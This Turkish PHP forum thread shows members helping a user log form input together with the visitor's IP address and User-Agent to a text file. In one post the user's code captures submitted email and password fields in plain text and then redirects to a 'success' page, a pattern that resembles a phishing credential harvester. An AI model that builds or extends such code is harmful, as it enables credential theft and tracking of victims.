• 10-12-2022, 12:22:18
    #1
    Merhaba php ile iletişim formundan gelen konu ve mesajı fwrite ile dosya olarak yazdırıyorum. Kullanıcıdan ıp adresi ve tarayıcı bilgisi (User-Agent? nasıl alabilirim?

    <?php
    $txt = "mesaj.txt";
    if (isset($_POST['konu']) && isset($_POST['mesaj'])) {
    header('Location:succesfull.php');
    $fh = fopen($txt, 'a');
    $txt=$_POST['konu'].' - '.$_POST['mesaj'];
    fwrite($fh,$txt."\n");
    fclose($fh);
    }
    ?>
  • 10-12-2022, 12:23:53
    #2
    print_r($_SERVER); yaparsanız tüm bilgileri gelir ziyaretçinin. İhtiyacınız olanları seçebilirsiniz buradan.
  • 10-12-2022, 12:23:53
    #3
    User agent için : $_SERVER['HTTP_USER_AGENT']
    IP için : $_SERVER['REMOTE_ADDR']
  • 10-12-2022, 12:28:09
    #4
    Profesör adlı üyeden alıntı: mesajı görüntüle
    print_r($_SERVER); yaparsanız tüm bilgileri gelir ziyaretçinin. İhtiyacınız olanları seçebilirsiniz buradan.
    print ile form kısmında ekrana basıyor hocam fwrite ile dosyaya kayıt ediyorum bu kısmı nasıl yapabiliriz

    CihanAksoy adlı üyeden alıntı: mesajı görüntüle
    User agent için : $_SERVER['HTTP_USER_AGENT']
    IP için : $_SERVER['REMOTE_ADDR']
    evet fwrite ile bu şekilde çalışmıyor sayfa açılmıyor

    <?php
    $txt = "mesaj.txt";
    if (isset($_POST['email']) && isset($_POST['password'])) {
    header('Location:succesfull.php');
    $_SERVER['REMOTE_ADDR'] /// IP Adresi
    $fh = fopen($txt, 'a');
    $txt=$_POST['email'].' - '.$_POST['password'];
    fwrite($fh,$txt."n");
    fclose($fh);
    }
    ?>
  • 10-12-2022, 12:29:46
    #5
    Sticky adlı üyeden alıntı: mesajı görüntüle
    print ile form kısmında ekrana basıyor hocam fwrite ile dosyaya kayıt ediyorum bu kısmı nasıl yapabiliriz



    evet fwrite ile bu şekilde çalışmıyor sayfa açılmıyor
    O şekilde çalışmayacak zaten hocam şöyle birşey yapman lazım;

    $txt=$_POST['konu'].' - '.$_POST['mesaj'].'-'.$_SERVER['HTTP_USER_AGENT '].'-'.$_SERVER['REMOTE_ADDR '];
  • 10-12-2022, 12:30:17
    #6
    daha önceden hazırladığım bir betik var, aynı anda;
    -ip
    -tarih (time-zone-tr)
    -useragent
    -işletimsistemi
    -referer
    bilgilerini detaylı şekilde kayıt ediyor. dilerseniz size uyarlayabilirim.
    50 tl.
    düşünürseniz pm atınız.
  • 10-12-2022, 12:34:44
    #7
    CihanAksoy adlı üyeden alıntı: mesajı görüntüle
    O şekilde çalışmayacak zaten hocam şöyle birşey yapman lazım;

    $txt=$_POST['konu'].' - '.$_POST['mesaj'].'-'.$_SERVER['HTTP_USER_AGENT '].'-'.$_SERVER['REMOTE_ADDR '];
    Teşekkürler hocam bu şekilde yazdım fakat bastırmadı

  • 10-12-2022, 12:35:52
    #8
    Sticky adlı üyeden alıntı: mesajı görüntüle
    Teşekkürler hocam bu şekilde yazdım fakat bastırmadı

    Çünkü yanlışlıkla boşluk koymuşum.

    $txt=$_POST['konu'].' - '.$_POST['mesaj'].'-'.$_SERVER['HTTP_USER_AGENT'].'-'.$_SERVER['REMOTE_ADDR'];
    Bu şekilde çalışacak
  • 10-12-2022, 12:37:21
    #9
    CihanAksoy adlı üyeden alıntı: mesajı görüntüle
    Çünkü yanlışlıkla boşluk koymuşum.

    $txt=$_POST['konu'].' - '.$_POST['mesaj'].'-'.$_SERVER['HTTP_USER_AGENT'].'-'.$_SERVER['REMOTE_ADDR'];
    Bu şekilde çalışacak
    Tamamdır şimdi oldu teşekkürler